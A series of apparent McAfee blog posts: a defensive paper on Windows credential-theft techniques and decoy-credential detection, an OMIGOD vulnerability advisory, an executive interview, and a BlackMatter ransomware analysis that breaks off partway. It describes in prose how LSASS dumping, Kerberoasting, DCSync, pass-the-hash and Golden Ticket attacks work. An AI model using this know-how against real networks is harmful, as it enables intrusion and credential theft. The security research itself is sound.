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Today, enterprises tend to use multiple layers of security defenses, ranging from perimeter defense on network entry points to host based security solutions deployed at the end user’s machines to counter the ever-increasing threats. This includes inline traffic filtering and management security solutions deployed at access and distribution layers in the network, as well as out of band solutions like NAC, SIEM or User Behavior Analysis to provide identity-based network access and gain more visibility into the user’s access to critical network resources. However, layered security defenses face the major and recurring challenge of detecting newer exploitation techniques as they heavily rely on known behaviors. Additionally, yet another significant challenge facing the enterprise network is detecting post-exploitation activities, after perimeter security is compromised.
Post initial compromise, to be able to execute meaningful attacks, attackers would need to steal credentials to move laterally inside the network, access critical network assets and eventually exfiltrate data. They will use several sophisticated techniques to perform internal reconnaissance and remote code execution on critical resources, which range from using legitimate operating system tools to discover network assets to using novel code execution techniques on the target. Consequently, differentiating between the legitimate and malicious use of Windows’ internal tools and services becomes a high priority for enterprise networks.
To tackle this long-standing problem of detecting lateral movement, enterprise networks must formulate active in-network defense strategies to effectively prevent attackers from accessing critical network resources. Network Deception is one such defensive approach which could potentially prove to be an effective solution to detect credential theft attacks. Detecting credential stealing attacks with deception essentially requires building the necessary infrastructure by placing the decoy systems within the same network as production assets and configuring them with decoy contents to lure the attackers towards the decoy machines and services. Accurately configuring and tuning the deceptive network can deflect the attacker’s lateral movement path towards the deceptive services, consequently allowing the attackers to engage with the deceptive network, helping enterprises protect production assets.
MITRE Shield, a knowledge base maintained by MITRE for active defense techniques highlights many of the methods in adversary engagement. Some of the techniques described by MITRE Shield Matrix with respect to network deception are as below:
| MITRE Shield | Description | ATT&CK Technique |
| Decoy Account – DTE0010 | A decoy account is created for defensive or deceptive purposes. The decoy account can be used to make a system, service, or software look more realistic or to entice an action | Account Discovery, Reconnaissance |
| Decoy Credentials – DTE0012 | Seed a target system with credentials (such as username/password, browser tokens, and other forms of authentication data) | Credential Access, Privilege Escalation |
| Decoy Diversity – DTE0013 | deployment of decoy systems with varying Operating Systems and software configurations | Reconnaissance |
| Decoy Network – DTE0014 | Multiple computing resources that can be used for defensive or deceptive purposes | Initial Access |
| Decoy Personna – DTE0015 | Used to establish background information about a user. In order to have the adversary believe they are operating against real targets | Initial Access, Discovery, Reconnaissance |
| Decoy System – DTE0017 | Computing resources presented to the adversary in support of active defense | Reconnaissance |
Over the course of this paper, we will discuss some of the widely adapted credential theft attacks executed by adversaries after the initial compromise and then move on to discuss defense techniques against the above MITRE Shield attacks and how to use them effectively to detect deceptive credential usage in the network.
Lateral movement refers to the tools and techniques used by attackers to progressively expand their foothold within an enterprise network after gaining initial access. As shown in the figure below, lateral movement activity comprises of several stages starting from credential theft, target enumeration and discovery, privilege escalation, gaining access to network resources and eventually remote code execution on the target before exfiltrating data to accomplish a successful attack. Once inside the network, attackers will deploy a range of techniques at each stage of lateral movement to achieve their end goal. One of the primary challenges an attacker will face while moving laterally inside a network is to hide their activities in plain sight by generating a minimum volume of legitimate looking logs to be able to remain undetected. To achieve this, an attacker might choose to embed the tool within a malicious executable or use the operating system’s internal legitimate tools and services to perform its lateral movement operations, consequently making this network traffic harder to distinguish.
As per the Verizon DBIR report 2020, over 80% of data breaches involve credential theft attacks. Credential theft is one of the primary tasks attackers need to perform post-exploitation and after gaining initial control of the target machine. It will usually be the first step towards lateral movement strategies which will allow attackers to elevate their privileges and acquire access to other network resources. As indicated earlier, attackers have long been abusing Windows legitimate features like SMB, RPC over SMB, Windows Management Instrumentation, Windows Remote Management, and many other features to perform lateral movement activities. Figure 1 below highlights where lateral movement falls within the attack chain and its different stages. To remain stealthier, these activities would span a period ranging from many weeks to months.
Figure 1 – Stages of Lateral movement
To be able to distinguish between the admissible and malicious use of these inbuilt services, it is extremely critical for organizations to deploy advanced Threat Detection solutions. Over the course of this blog, we will discuss various credential theft techniques used by adversaries during lateral movement. We will also discuss an approach that can be used to effectively detect these techniques inside the network.
Attackers use a variety of tools and techniques to execute credential theft attacks. Many of these tools are open source and readily available on the internet. Operating systems like Windows implement Single Sign On (SSO) functionality, which require the user’s credentials to be stored in memory, thereby allowing the OS to seamlessly access network resource without repeatedly asking the user to re-enter those credentials. Additionally, user credentials are stored in memory in a variety of formats like NTLM hashes, reversibly encrypted plaintext, Kerberos tickets, PINs, etc., which can be used to authenticate to services depending upon the supported authentication mechanism. These credentials can be acquired by attackers from memory by parsing appropriate credential storage structures or using the Windows credential enumeration APIs. Consequently, these attacks pose major security concerns, especially in the domain environment if the attacker gains access to privileged credentials which can then be reused to access critical network resources. In the following sections, we discuss some of the widely adapted credential stealing techniques used by malware, with respect to the Windows operating system. Similar credential stealing techniques can also be used with other operating systems as well.
The Local Security Authority Subsystem Service (LSASS) process manages and stores the credentials of all the users with active Windows sessions. These credentials stored in the LSASS process memory will allow users to access other network resource such as files shares, email servers and other remote services without asking them for the credentials again. LSASS process memory stores the credentials in many formats including reversibly encrypted plaintext, NTLM hashes, Kerberos Tickets (Ticket Granting Tickets, etc.). These credentials are generated and stored in the memory of the LSASS process when a user initiates the interactive logon to the machine such as console logon or RDP, runs a scheduled task or uses remote administration tools. The encryption and decryption of credentials is done using LsaProtectMemory and LsaUnProtectMemory respectively and hence a decryption tool using these APIs will be able to decrypt LSASS memory buffers and extract them. However, malware would need to execute with local administrator privileges and enable “SeDebugPrivilege” on the current process to be able access the LSASS process memory.
Below is a code snapshot from one of the famous credential harvesting tools, Mimikatz, enabling the required privileges on the calling thread before dumping the credentials.
Figure 2 – Checking for required privileges
We can see that the NTLM hash of the user’s credentials is revealed, and this can be brute forced offline as shown below. Many Windows services, such as SMB, support NTLM authentication and NTLM hashes can be used directly for authentication eliminating the need for the clear text passwords.
Figure 3 – Cracking NTLM Hashes offline
Attackers avoid using freely available tools like Mimikatz directly on the target machine to harvest credentials since they are easily detected by AVs. Instead, they use recompiled clones of it with minimal functionality to avoid noise. Below is one such instance where malware embeds recompiled Mimikatz code with the minimal required functionality.
Figure 4 – Credential extraction tool embedded inside malicious executable
Detection can also be avoided by using several “living off the land’ mechanisms, available in many post-exploitation frameworks, to execute the credential harvesting tools directly from memory using Reflective PE injection, where the binary is never written to the disk. Yet another approach is to dump the LSASS process memory using process dumping tools, exfiltrate the dump and extract the credentials offline. Microsoft has documented multiple ways to configure additional LSASS process protection which can prevent credentials being compromised.
The SAM database is a file on a local hard drive that stores the credentials for all local accounts on the Windows computer. NT hashes for all the accounts on the local machine, including the local administrator credential hash, are stored in the SAM database. The SAM database file is in %SystemRoot%system32/config and the hashes of the credentials are within the registry HKLM\SAM. Attackers need to acquire elevated privileges to be able to access the credentials from the SAM database. The example below demonstrates how the credentials from the SAM database can be revealed through a simple Meterpreter session.
Figure 5 – Dumping SAM database
Windows Credential Manager stores the Web and SMB/RDP credentials of users if they choose to save them on the Windows machine, thereby preventing the authentication mechanism from asking for those passwords again on subsequent logins. These credentials are encrypted with Windows Data Protection APIs (DPAPI) CryptProtectData, either using the current user’s logon session or a generated master key, and then saved on the local hard drive. Consequently, any process running in the context of the logged in user will be able to decrypt the credentials using CryptUnProtectData DPAPI. In the domain environment, these credentials can be used by attackers to pivot to other systems in the network. Data Protection APIs provide the cryptographic functionalities that can be used to securely store credentials and keys. These APIs are used by several other Windows components like browsers (IE/Chrome), certificates and many other applications as well. Below is one example of how credential dumping tools like Mimikatz can be used to dump stored Chrome credentials.
Figure 6 – Dumping browser credentials
DPAPI can be abused in multiple ways. In the Active Directory domain joined environment, if other users have logged into the compromised machine, provided a malware is running with escalated privileges, it can extract other user’s master keys from the LSASS memory which can then be used to decrypt their secrets. Below is a screenshot of how the master key can be extracted by using the credential dumping tool.
Figure 7 – Extracting DPAPI Master Key
Malware also tends to use multiple variants of credential enumeration APIs available within Windows. These APIs can extract credentials from Windows Credential Manager. Below is one instance of the malware using CredEnumerateW API to retrieve credentials and then search for terminal services passwords which It would use to pivot to other systems.
Figure 8 – Extracting credentials using Windows API
In the domain joined environment, the Kerberos protocol has a significant role to play with respect to authentication and requesting access to services and applications. It provides Single-Sign-On functionality for accessing multiple shared resources within the enterprise network. The Kerberos authentication mechanism in Active Directory involves multiple requests and responses like Ticket Granting Ticket (TGT) and Ticket Granting Service (TGS) supported by a Key Distribution Server (KDC), usually a Domain Controller. Upon successful authentication, a user will be able to access the respective services.
Attackers gaining access to a system joined in the domain would usually look for high value assets like Active Directory Controller, Database server, SharePoint server, Web Server, etc., and these services are registered in the domain with the specific Service Principal Name (SPN) values, which is a unique identifier of the Service Account in the domain. These SPN values are used by Kerberos to map the instance with the logon account allowing the client to authenticate to the respective service. Well known SPN values are listed out here. Once the attacker is authenticated with any domain user credentials and has information about the SPN values of the services within the domain, they can initiate the Kerberos Ticket Granting Service request (TGS – REQ) to the Key Distribution Server with the specified SPN value. Details on how the SPN values are registered and used in Kerberos authentication is documented here. TGS response from the KDC will have the Kerberos Ticket encrypted with the hash of the service account. This ticket can be extracted from the memory and can be brute forced offline to acquire service account credentials, allowing a domain user to gain admin level access to the service.
Kerberoasting is a well-documented attack technique listed in MITRE ATT&CK and it essentially abuses the Kerberos authentication allowing adversaries to request the TGS Tickets for the valid service accounts and brute force the ticket offline to extract the plain text credentials of the service accounts, consequently enabling them to elevate their privileges from domain user to domain admin. As an initial step to this lateral movement technique, the attacker would perform an internal reconnaissance to gain information about the services registered in the domain and get SPN values. A simple PowerShell command after importing the Active Directory PowerShell module, as shown below, can initiate the LDAP query to get information about all the user accounts from the Domain Controller with the SPN value set.
Figure 9 – PowerShell command to generate LDAP query
Attackers can specifically choose to scan the domain for MSSQL service with the registered SPN value used for Kerberos authentication. PowerShell scripts like GetUserSPNs can scan all the user SPNs in the domain or MSSQL service registered in the domain with Discover-PSMSSQLServers or Invoke-Kerberoast scripts. Following is an example output from the script:
Figure 10 – Kerberoasting PowerShell script output
Once an attacker has the SPN value of the SQL service, a Kerberos Ticket Granting Service Ticket request (TGS-REQ) can be initiated to the domain controller with the SPN value. This can be done by a couple of PowerShell commands generating KRB-TGS-REQ as shown below:
Figure 11 – Kerberos TGS request
Consequently, the Domain Controller sends the TGS-RESP with the ticket of the service account which will be cached in the memory and can be extracted by dumping tools like Mimikatz as a .kirbi document. This can be brute forced offline by tgsrespcrack, allowing the attacker to gain unrestricted access to the service with elevated privileges.
As indicted earlier, once an attacker has penetrated the domain network, it will be natural to progress towards targeting critical assets, such as the Active Directory controller. The Active Directory Database Services AD DS Ntds.dit file is one of the most overlooked attack vectors in the domain environment but can have significant impact if the attacker is able to gain the domain administrative rights leading to complete domain compromise.
The Ntds.dit file is the authoritative store of credentials for all the users in the domain joined environment, storing all the information about the users, groups and memberships, including credentials (NT Hashes) of all the users in the domain with historical passwords and user’s DPAPI backup master keys. An Attacker with domain admin rights can gain access to the Domain Controller’s file system and acquire credentials like hashes, Kerberos tickets and other reversibly encrypted passwords of all the users joined in the domain by dumping and exfiltrating the Ntds.dit file. These credentials can then be used by the attacker to further access resources by using attack techniques like PTH within the network since the credentials used across other shared resource could be same.
Multiple techniques can be used to dump the Ntds.dit file from the Domain Controller locally as well as remotely and extract the NTLM hashes/DPAPI backup keys for all the domain joined users. One of the techniques is to use the Volume Shadow Copy Service using the vssadmin command line utility and then extract the Ntds.dit file from the volume shadow copy as shown below.
Figure 12 – Dumping Volume shadow copy for C drive
Sensitive data on Active Directory is encrypted with the Boot Key (Syskey) stored in the SYSTEM registry hive and dumping the SYSTEM registry hive is a prerequisite as well to be able to extract all the credentials.
Publicly available Active Directory auditing frameworks like DSInternals provide PowerShell cmdlets to extract the Syskey from the SYSTEM registry hive and extract all the credentials from the Ntds.dit file.
Ntds.dit can also give access to the powerful service account within the Active Directory Domain, KRBTGT (Key Distribution Centre Service account). Acquiring the NTLM hash of this account can enable the attacker to execute a Golden Ticket attack leading to complete domain compromise with unrestricted access to any service on the domain joined system.
A DCSync attack is a method of credential acquisition which allows an attacker to impersonate the Domain Controller and can consequently replicate all the Active Directory objects to the impersonating client remotely, without requiring the user to logon to the DC or dumping the Ntds.dit file. By impersonating the Domain Controller, the attacker could acquire the NTLM hash of the KRBTGT service account, enabling them to gain access to all the shared resources and applications in the domain joined environment. To be able to execute this credential stealing technique, an attacker would have to compromise the user account with the required permissions, specifically DS-Replication-Get-Changes and DS-Replication-Get-Changes-All, as shown below.
Figure 13 – User with privileges
Once the attacker compromises the user account with the required privileges, Pass-The-Hash attacks can be executed to spawn a command shell with the forged logon session. Credential dumping tools like Mimikatz do this by enumerating all the user logon sessions and replacing the user credentials with the stolen usernames and NTLM hashes provided, in the current logon session. Behind the scenes, this is executed by duplicating the current process’s access token, replacing the user credentials pointed by duplicated access token and subsequently using the modified access token to start a new process with the stolen credentials which will be used for network authentication. This is as shown below for example user “DCPrivUser”.
Figure 14 – Pass-the-Hash attack
Further, as indicated below, any subsequent NTLM authentication from the logon session will use the stolen credentials to authenticate to domain joined systems like the Active Directory Controller.
Attackers can now initiate the AD user objects Replication request to the Domain Controller using Directory Replication Services Remote Protocol (DRSUAPI). DRSUAPI is the RPC protocol used for replication of AD objects. With DCERPC bind request to DRSUAPI, an RPC call to DSGetNCChanges will replicate all the user AD objects to the impersonating client. Attackers would usually target the KRBTGT account since acquiring the NTLM hash of this account will enable them to execute a Golden Ticket attack resulting in unrestricted access to domain services and applications.
Figure 15 – DCSync Attack
As indicated earlier, with the NTLM hash of the KRBTGT account, adversaries can initiate a Golden Ticket attack (Pass-the-Ticket) by injecting the forged Kerberos tickets into the current session which can be used to authenticate to any service with the client that supports pass the ticket (for instance, sqlcmd.exe connection to DB server, PsExec, etc.)
Figure 16 – Golden ticket with forged Kerberos ticket
The credential theft techniques we discussed in the previous sections are just the tip of the iceberg. Adversaries can use many other sophisticated credential stealing techniques to take advantage of system misconfigurations and legitimate administrative tools and protocols and, at the same time, remain undetected for a longer period. With many other event management solutions with SIEMs, used in conjunction with other network security solutions, it becomes a challenge for administrators to distinguish malicious use of legitimate tools and services from lateral movement. Perimeter solutions have their limitations in terms of visibility once the attacker crosses the network boundary and is inside the domain environment. It is extremely critical for organizations to protect and monitor critical network assets like the Domain Controller, Database server, Exchange Servers, build systems and other applications or services, as compromising these systems will result in significant damages. Therefore, enterprise networks must deploy a solution to detect credential stealing attacks as they can be used to pivot to other systems on the network and move laterally once an attacker establishes an attack path to a high value target. If the deployment of a solution within the critical zones of the network can detect the use of stolen credentials before adversaries can reach their target, the critical assets could still be prevented from being compromised.
Network Deception is one such deployment within the domain environment where, using the MITRE Shield techniques like decoy systems and network, decoy credentials, decoy accounts, decoy contents, could potentially help detect lateral movement early in the adversary’s attack path to the target asset and at the same time, report significantly low false detection rates. The idea of deception originates from the decades old honeypot systems but, unlike those, relies more on forging trust and giving adversaries what they are looking for. With its inbuilt proactiveness it is configured to lure attackers towards deceptive systems. As shown in the figure below, Network Deception consists of authentic looking decoy systems placed within the domain network, specifically in the network where the critical assets are placed. These decoy systems (could be virtual machines) are the full-fledged OS with configured applications or services and could be replicating the crucial services like Domain Controller, Exchange or DB server and other decoy machines that could lead to those systems. The image below highlights the key foundational aspects of the Network Deception
Figure 17 – Network Deception
As visualized in the figure above, Network Deception comprises the following key basic facts with respect to the deployment in the domain joined environment:
Since credential theft plays an important role in a successful targeted attack, deception essentially focuses on planting fake credentials on the production and decoy endpoints at multiple places within the OS and monitoring the use of these credentials to pivot to other systems. With respect to the network setup, the following are the key aspects, however this list is not exhaustive, and much more could be added:
Some of the other setup required for effective deployment of deception is as summarized below:
Figure 18 – Deceptive network setup – Basic requirements
To detect the use of deceptive credentials, setting up decoy machines is an essential part of the solution as well. Primarily, decoy machines should enable the access attackers are looking to have during the lateral movement phase. Decoys should also be configured to enable relevant auditing services to be able to generate events. For instance, the following enables the account logon events to be audited:
Decoy machines must be setup to run the log collector agent that can collect the access logs generated and forward them to the correlation server. However, in the domain joined environment, it is also essential to tune the decoy machines to forward only the relevant logs to the correlation server to minimize false positives.
The below highlights some of the auditing required to be enabled on the decoy systems for effective correlation.
Figure 19 – Basic decoy setup
The following sections describe some examples of how deception can be achieved in the domain network, along with a visualization of how credential theft can be detected.
LSASS process memory is one of the prime targets for attackers, as well as malware armed with lateral movement capabilities since it caches a variety of credentials. Credential extraction from the LSASS process requires opening a read handle to the process itself which is closely monitored by EDR products but there are stealthier ways around it.
One of the primary tasks towards achieving credential-based deception is to stage the deceptive credentials in LSASS process memory. This can be accomplished on the production and decoy systems by executing a trivial credential injection code which uses the CreateProcessWithLogonW Windows API with the specified crafted credentials. CreateProcessWithLogonW creates the new logon session using the caller process access token and spawns the process specified as a parameter in the security context of the specified deceptive credentials and it will be staged in the LSASS memory until the process runs in the background. The below shows the example code calling the API with the specified credentials which is also visible when credentials are extracted with Mimikatz.
Figure 20 – Injecting credentials into LSASS memory
One of the parameters to CreateProcessWithLogonW is “dwLogonFlags” which should be specified as LOGON_NETCREDENTIALS_ONLY as shown in the code above. This ensures the specified credentials are used only on the network and not for local logons. Additionally, NETONLY credentials used to create a logon session are not validated by the system. Below is a code snapshot from credential extraction tool Mimikatz, using a similar approach to forge a logon session and replacing the credentials with the supplied ones while executing Pass-the-Hash attacks.
Figure 21 – Mimikatz code for PTH attack
Attackers or malware moving laterally inside the network might do a recon for interesting hostnames via nbtstat/nbtscan. To deflect the lateral movement path, decoy systems can be configured with real looking hostnames that match the production systems. These hostnames will then be visible on NetBIOS scans as shown below.
Figure 22 – Deceptive host names pointing to decoy machines
These decoy systems can also run the relevant client applications pointing to the decoy services, with authentication directed to the decoy Domain Controller in the network. Detection of this attack path happens much earlier, however the decoy network setup keeps the adversaries engaged, helping admins to study their Tools and Techniques.
Figure 23 – Decoy machines running clients pointing to decoy services
A similar deception setup can also be done for the browsers where saved credentials can point to the decoy applications and services within the domain. For instance, Chrome saves the credentials in the SQLite format on the disk which can be decrypted using DPAPI as discussed earlier sections. The below examples demonstrate deceptive browser credentials which can lure adversaries towards the decoy services.
Figure 24 – Inserting deceptive browser credentials
In addition to some of the techniques discussed above, and many others highlighted in the previous sections, setting up deception involves much more advanced configuration of decoy systems to minimize false positives and needs to be tuned to the environment to accurately identify malicious activities. Deception can also be configured to address multiple other phases of lateral movement activity including reconnaissance and target discovery, essentially redirecting the adversaries and giving them a path to the target. Below is a high-level visualization of how the decoy network can look like the domain environment.
Figure 25 – Deception network setup
On the occasion where one of the domain-joined or public facing systems is compromised, authentication would be attempted to other domain joined systems in the network. If an authentication is attempted and any of the decoy systems are accessed and logged on, the use of these planted deceptive credentials should be a red flag and something which must be investigated. The visualization below shows the flow and an event being sent to an administrator on accessing one of the decoy systems.
Figure 26 – Deceptive credentials usage for authentication in the domain
One such example event of successfully logging on to the decoy system is as shown below:
Figure 27 – Alert send to administrator on using deceptive credentials
Credential theft attacks discussed here are mapped by MITRE as below:
| Technique ID | Technique Name | Description |
| T1003.001 | LSASS Process Memory | Attackers may attempt to access LSASS process memory to extract credentials as it stores a variety of credentials. Administrative privileges are required to access the process memory. |
| T1003.002 | SAM Database | Accessing credentials from SAM database requires SYSTEM level privileges. Stores credentials for all the local user accounts on the machine. |
| T1003.003 | NTDS.dit file | Contains credentials for all the domain users. File is present on the DC and domain admin privileges are required to access this file. |
| T1003.006 | DCSync | Attacker can extract the credentials from the DC by impersonating the domain controller and use DRSUAPI protocol to replicate credentials from DC. |
| T1558.001 | Golden Ticket | Attackers acquiring credentials for KRBTGT account can forge the Kerberos ticket called Golden Ticket, allowing them to get unrestricted access to any system in the domain |
| T1558.002 | Silver Ticket | Allows attacker to get admin level access to the service accounts by abusing Kerberos authentication |
| T1558.003 | Kerberoasting | Allows attackers to extract the Kerberos tickets for service accounts from memory and brute force offline to get credentials |
As credential theft attacks play a significant role in an attacker’s lateral movement, so as in-network defense for the defenders. With attackers’ lateral movement tactics evolving and getting more stealthier, defenders will have to adapt to innovative ways of defending the critical network assets. In–network defense strategies like Deception could prove to be a promising and forward-looking approach towards detecting and mitigating data theft attacks. Strategic planting of decoy systems within the production network, inserting decoy credentials and decoy contents on calculative selection of endpoints and decoy systems and accurately setting up the logging and correlation via SIEMs for monitoring the use of decoy contents, could certainly detect and mitigate the attacks early in the lateral movement life cycle.
Endpoint solutions like User Entity Behavior Analytics (UEBA) and Endpoint Detection and Response (EDR) could also play a significant role in building the deception infrastructure. For instance, one of the ways UEBA solutions could prove useful is to baseline user behavior and monitor access to credential stores on the system. UEBA/EDR could raise the red flag on injection of forged Kerberos tickets in the memory. This can provide user level visibility to a greater extent when integrated with SIEM, playing a crucial role in mitigating credential theft attacks.
The post Detecting Credential Stealing Attacks Through Active In-Network Defense appeared first on McAfee Blog.
This month Microsoft released patches for 86 vulnerabilities. While many of these vulnerabilities are important and should be patched as soon as possible, there is one critical vulnerability that McAfee Enterprise wants to immediately bring to your attention due to the simplicity of what is required to exploit, and evidence that possible exploitation is already being attempted.
The list of flaws, collectively called OMIGOD, impact a software agent called Open Management Infrastructure that’s automatically deployed in many Azure services –
CVE-2021-38647 (CVSS score: 9.8) – Open Management Infrastructure Remote Code Execution Vulnerability
CVE-2021-38648 (CVSS score: 7.8) – Open Management Infrastructure Elevation of Privilege Vulnerability
CVE-2021-38645 (CVSS score: 7.8) – Open Management Infrastructure Elevation of Privilege Vulnerability
CVE-2021-38649 (CVSS score: 7.0) – Open Management Infrastructure Elevation of Privilege Vulnerability
Azure customers on Linux machines, including users of Azure Automation, Azure Automatic Update, Azure Operations Management Suite (OMS), Azure Log Analytics, Azure Configuration Management, and Azure Diagnostics, are at risk of potential exploitation. OMI can also be installed outside of Azure on any on-premises Linux system.
The Remote Code Execution is extremely simple and all that is required is to remove the auth header and root access is available remotely on all machines. With this vulnerability the attackers can obtain initial access to the target Azure environment and then move laterally within it.
Campaign: Multiple CVE’s Affecting the Azure OMI Agent Dubbed OMIGOD
Source: MVISION Insights
Multiple security researchers shared proof of concept attacks on the exploitation of the vulnerabilities and, soon thereafter, actors mimicked the efforts and have recently been seen actively exploiting CVE-2021-38647 via botnet activities.
Background on the Mirai Botnet and related campaigns
Source: MVISION Insights
One such botnet is Mirai, which is actively scanning for vulnerabilities, including those identified as OMIGOD, that will allow the operators to infect a system and spread to connected devices. If the Mirai botnet exploits a vulnerable machine, the operators will drop one of the Mirai DDoS botnet versions and close port 5896 on the internet to prevent other attackers from exploiting the same box. Reports of successful exploitation of OMIGOD have reported cryptominers being deployed on the impacted systems.
Microsoft does not have an auto update mechanism; a manual upgrade of the agents is required to prevent exploitation. Microsoft has released a patched OMI version (1.6.8.1), suggested steps by Microsoft are provided in the below link.
CVE-2021-38647 – Open Management Infrastructure Remote Code Execution Vulnerability
McAfee Enterprise will continue to update the following KB document with product coverage of CVE-2021-38647; please subscribe to the KB to be notified of updates.
McAfee Enterprise coverage for CVE-2021-38647 Remote Code Execution Vulnerability
To identify vulnerable systems in your environment, McAfee Enterprise recommends scanning for systems listening on Ports 5986. Port 5986 is the typical port leveraged by the OMI agent. Industry intelligence from the Wiz Research group is also noting vulnerable systems listening on non–default ports 5985 and 1270. It is recommended to limit network access to those ports immediately to protect from the RCE vulnerability.
MVISION Insights provides regularly updated threat intelligence for the ongoing attempts to exploit OMIGOD. The “Multiple CVE’s Affecting the Azure OMI Agent Dubbed OMIGOD” campaign will have up to date Global Prevalence, IOCs, and MITRE techniques being observed in the wild. The IOCs within MVISION Insights can be utilized by the Real-time Search function of MVISION Endpoint Detection & Response (EDR) to proactively search your entire Linux endpoint environment for detection.
Global Prevalence of OMIGOD Exploitation Source: MVISION Insights
Indicators of Compromise related to exploitation of OMIGOD Source: MVISION Insights
The McAfee ENS Firewall Rules will allow for the creation of custom rules to block specific ports until the OMI agent can be updated to the resolved version; please see the below screenshot for a sample rule to block the ports associated with the OMI agent.
Creation of Block Rule for OMI Agent Ports in McAfee ENS Firewall
The Real-time search feature in MVISION EDR with allow for the searching of your entire Linux environment utilizing several different parameters to identify systems that could be potential targets.
The below pre-built queries can be executed to locate systems listening on the noted ports for the OMI Agent and to verify the version of the OMI agent installed on your endpoint.
Processes and CurrentFlow and HostInfo hostname where Processes name equals omiengine
Software and HostInfo hostname where Software displayname contains om
Locating Installed Software Versions of OMI on Linux endpoints in MVISION EDR
Monitoring the traffic and user information of OMI in MVISION EDR
Another method to identify vulnerable systems in your cloud infrastructure is run an on-demand vulnerability scan and create security configuration audits with MVISION Cloud Native Application Protection Platform (CNAPP). Please see below several examples of using the CWPP and CSPM features to locate vulnerable systems by CVE number and detect usage of the “root” account in Microsoft Azure.
Running Vulnerability Scans to Identify Vulnerable Systems by CVE
Setting Security Configuration Audits to be alerted of Root Access in Microsoft Azure
The post McAfee Enterprise Defender Blog | OMIGOD Vulnerability Opening the Door to Mirai Botnet appeared first on McAfee Blog.
Welcome back to our executive blog series, where I chat with some of the pivotal players behind McAfee Enterprise and the Advanced Threat Research Team to hear their takes on today’s security trends, challenges, and opportunities for companies across the globe.
Q: What got you interested in technology and threat research? |
As a little kid, I was always fascinated by technology. I would wrench open devices to study the inner workings, and try to assemble again. At age 12 I worked for three years to assemble my first computer-setup: a Commodore 64, disk-drive, and printer followed by an Amiga with modem. From that point, it was a journey from sysadmin to ethical hacking into specializing in digital forensics and joining FoundStone to setup their EMEA Incident Response team. As I witnessed multiple malware incidents and later some of the largest cyber-attacks ever, I got fascinated by all the mechanics around threat research. From this, I made a move to lead and envision new ways (threat) research can assist both responders and customers.
Q: If you could relive any moment of your life, which would it be? |
Good question. There are so many moments to be thankful for that I cannot choose one but will mention a few that might sound obvious: My baptism, marrying my wife, and the birth of my kids.
Q: What are some of the trends you are currently noticing across the threat landscape? |
Of course, we still have ransomware around as an ongoing issue that keeps evolving and impacting not only companies around the world, but also our lives more and more when fuel is not available, supermarkets are closed, and delivery of goods cannot be executed. Secondly, I would say the volume and number of attacks that happen have increased dramatically over the years. The moment a vulnerability is announced, within days, a proof-of-concept is available and within a week it is used by adversaries (either cybercrime or nation-state motivated). The feedback from our customers has been tremendously positive.
Q: How do you react to constantly changing threats in the market? |
The only way to respond to the constant changing threats is to be flexible and willing to change. What works today might not work tomorrow, which should be part of your strategy when it comes to threat hunting, threat detection, and protection. My team is eager to learn and we are committed to protect our customers, innovate new research techniques, and adapt that into our technology.
The post Executive Spotlight: Q&A with Lead Scientist & Sr. Principal Engineer, Christiaan Beek appeared first on McAfee Blog.
BlackMatter is a new ransomware threat discovered at the end of July 2021.
This malware started with a strong group of attacks and some advertising from its developers that claims they take the best parts of other malware, such as GandCrab, LockBit and DarkSide, despite also saying they are a new group of developers. We at McAfee Enterprise Advanced Threat Research (ATR), have serious doubts about this last statement as analysis shows the malware has a great deal in common with DarkSide, the malware associated with the Colonial Pipeline attack which caught the attention of the US government and law enforcement agencies around the world.
The main goal of BlackMatter is to encrypt files in the infected computer and demand a ransom for decrypting them. As with previous ransomware, the operators steal files and private information from compromised servers and request an additional ransom to not publish on the internet.
McAfee’s EPP solution covers BlackMatter ransomware with an array of prevention and detection techniques.
ENS ATP provides behavioral content focusing on proactively detecting the threat while also delivering known IoCs for both online and offline detections. For DAT based detections, the family will be reported as Ransom-BlackMatter!<hash>. ENS ATP adds 2 additional layers of protection thanks to JTI rules that provide attack surface reduction for generic ransomware behaviors and RealProtect (static and dynamic) with ML models targeting ransomware threats.
Updates on indicators are pushed through GTI, and customers of Insights will find a threat-profile on this ransomware family that is updated when new and relevant information becomes available.
BlackMatter is typically seen as an EXE program and, in special cases, as a DLL (Dynamic Library) for Windows. Linux machines can be affected with special versions of it too but in this report, we will only be covering the Windows version.
This report will focus on version 1.2 of BlackMatter while also noting the important changes in the current version, 2.0.
BlackMatter is programmed in C++ and has a size of 67Kb.
FIGURE 1. Information about the malware
The compile date of this sample is the 23rd of July 2021. While these dates can be altered, we think it is correct; version 1.9 has a compile time of 12 August 2021 and the latest version, 2.0, has a date four days later, on the 16th of August 2021. Is clear that the malware developers are actively improving the code and making detection and analysis harder.
The first action performed by BlackMatter is preparation of some modules that will be needed later to get the required functions of Windows.
FIGURE 2. BlackMatter searching for functions
BlackMatter uses some tricks to try and make analysis harder and avoid debuggers. Instead of searching for module names it will check for hashes precalculated with a ROT13 algorithm. The modules needed are “kernel32.dll” and “ntdll.dll”. Both modules will try to get functions to reserve memory in the process heap. The APIs are searched using a combination of the PEB (Process Environment Block) of the module and the EAT (Export Table Address) and enumerating all function names. With these names it will calculate the custom hash and check against the target hashes.
FIGURE 3. BlackMatter detecting a debugger
At this point BlackMatter will make a special code to detect debuggers, checking the last 2 “DWORDS” after the memory is reserved, searching for the bytes “0xABABABAB”. These bytes always exist when a process reserves memory in the heap and, if the heap has one special flag (that by default is set when a process is in a debugger), the malware will avoid saving the pointer to the memory reserved so, in this case, the variables will keep a null pointer.
In Windows operating systems the memory has different conditions based on whether a program is running in normal mode (as usual) or in debugging mode (a mode used by programmers, for example). In this case, when the memory is reserved to keep information, if it is in debugging mode, Windows will mark the end of this memory with a special value, “0xABABABAB”. BlackMatter checks for this value and, if found, the debugger is detected. To avoid having it run normally it will destroy the function address that it gets before, meaning it will crash, thus avoiding the execution.
FIGURE 4. Preparing the protection stub function
After this check it will create a special stub in the reserved memory which is very simple but effective in making analysis harder as the stub will need to be executed to see which function is called and executed.
This procedure will be done with all functions that will be needed; the hashes are saved hardcoded in the middle of the “.text” section in little structs as data. The end of each struct will be recognized by a check against the “0xCCCCCCCC” value.
FIGURE 5. Hashes of the functions needed
This behavior highlights that the BlackMatter developers know some tricks to make analysis harder, though it is simple to defeat both by patching the binary.
After this, the ransomware will use another trick to avoid the use of debuggers. BlackMatter will call the function “ZwSetInformationThread” with the class argument of 0x11 which will hide the calling thread from the debuggers.
If the malware executes it correctly and a debugger is attached, the debugging session will finish immediately. This code is executed later in the threads that will be used to encrypt files.
FIGURE 6. Another way to detect a debugger
